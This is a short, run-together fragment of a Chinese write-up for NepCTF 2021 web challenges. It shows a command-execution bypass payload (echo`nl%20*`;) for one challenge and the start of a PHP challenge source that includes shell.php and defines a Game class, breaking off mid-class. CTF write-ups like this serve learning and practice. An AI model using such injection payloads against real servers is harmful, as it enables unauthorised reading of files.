nepctf2021webmisccrypto
weblittle_trick非常简单的命令执行绕过substr(0,-1)从最后开始过，echo`nl%20*`;梦里花开牡丹亭<?phphighlight_file(__FILE__);error_reporting(0);include('shell.php');class Game{ public $username; public $password; public $choice; public $register;
